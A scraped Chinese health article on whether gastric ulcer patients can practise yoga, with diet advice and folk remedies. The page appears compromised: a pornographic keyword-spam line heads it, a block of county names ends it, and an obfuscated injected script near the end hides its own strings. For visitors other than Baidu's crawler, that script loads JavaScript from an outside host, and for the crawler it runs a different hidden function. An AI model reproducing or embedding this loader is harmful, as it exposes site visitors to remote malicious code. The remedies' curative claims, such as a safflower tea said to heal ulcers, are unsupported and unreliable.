亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

胃潰瘍患者能練瑜伽嗎

2017-04-16 22:59:27  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):年輕人胃部不好的原因,大多和飲食不節(jié)制,生活不規(guī)律有一定關(guān)系。特別是過(guò)時(shí)誤餐,會(huì)直接導(dǎo)致胃內(nèi)分泌積聚的胃酸得不到食物中和,從而侵蝕

年輕人胃部不好的原因,大多和飲食不節(jié)制,生活不規(guī)律有一定關(guān)系。特別是過(guò)時(shí)誤餐,會(huì)直接導(dǎo)致胃內(nèi)分泌積聚的胃酸得不到食物中和,從而侵蝕胃黏膜,再加上幽門螺桿菌的破壞,造成胃潰瘍。那么,胃潰瘍能練瑜伽嗎?下面就讓我來(lái)為大家詳細(xì)的介紹一下相關(guān)常識(shí)吧。

有專家介紹,胃潰瘍患者可以練習(xí)瑜伽,不過(guò)要注意對(duì)胃部強(qiáng)烈擠壓的動(dòng)作最好不做。勿暴飲暴食,胃潰瘍的原因很多,但對(duì)那些偶爾患胃潰瘍的人,多半是因?yàn)槌蕴嗲页蕴臁?/p>

平時(shí)的食物本身要容易消化:清淡的、不油膩的、纖維素少的、軟一點(diǎn)的。如水果、青菜、豆腐、綠豆粥、鮮奶、饅頭、各類蛋、等等。注重平時(shí)營(yíng)養(yǎng)的補(bǔ)充,在保證身體足夠熱量攝入的同時(shí),減少胃的工作量。多吃些高蛋白食物及高維生素食物,保證機(jī)體內(nèi)各種營(yíng)養(yǎng)素的充足,防止貧血和營(yíng)養(yǎng)不良,如瘦肉、雞、魚、肝腎等內(nèi)臟以及綠葉蔬菜、番茄、茄子、紅棗等。當(dāng)胃酸分泌過(guò)多時(shí),可喝牛奶、吃饅頭或面包以中和胃酸。當(dāng)胃酸分泌減少時(shí),可用濃縮的肉湯、雞湯、帶酸味的水果或果汁,以刺激胃液的分泌,幫助消化。多進(jìn)食健胃的食品。

胃潰瘍食療茶:蜂蜜、紅糖適量、紅花5克。將紅花放在保溫杯中,沸水沖泡,蓋好,經(jīng)泡10分鐘后,隨即調(diào)入蜂蜜、紅糖,趁熱飲服。此茶具有和胃利腸、止痛祛瘍效果。胃潰瘍食療菜:鯽魚1條(約250克),去鱗、鰓及內(nèi)臟,洗凈,生姜30克洗凈,切片,桔皮10克、胡椒3克,共包扎在紗布內(nèi)填入鯽魚肚中,加水適量,文火煨熟,加食鹽少許,空腹吃魚喝湯,幾次后效果很好!此菜具有治胃寒痛效果。

以上就是我為大家介紹的關(guān)于胃潰瘍練瑜伽的相關(guān)常識(shí),相信大家看了之后已經(jīng)知道胃潰瘍是可以練習(xí)瑜伽的,只要注意對(duì)胃部強(qiáng)烈擠壓的動(dòng)作最好不做就好。同時(shí),胃潰瘍患者一定要注意自己的健康飲食,多加注意保護(hù)自己的胃。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
陆川县| 苍山县| 辽宁省| 绥德县| 东乌珠穆沁旗| 榕江县| 辽阳县| 宣威市| 青龙| 龙岩市| 翁源县| 内江市| 邻水| 巴中市| 万全县| 麻栗坡县| 吉木乃县| 洱源县| 丹阳市| 绥棱县| 鸡西市| 翼城县| 天津市| 湟中县| 乌什县| 元谋县| 刚察县| 五指山市| 花垣县| 长泰县| 饶阳县| 辽源市| 景谷| 屏山县| 池州市| 红桥区| 宜丰县| 芮城县| 普安县| 福安市| 惠东县|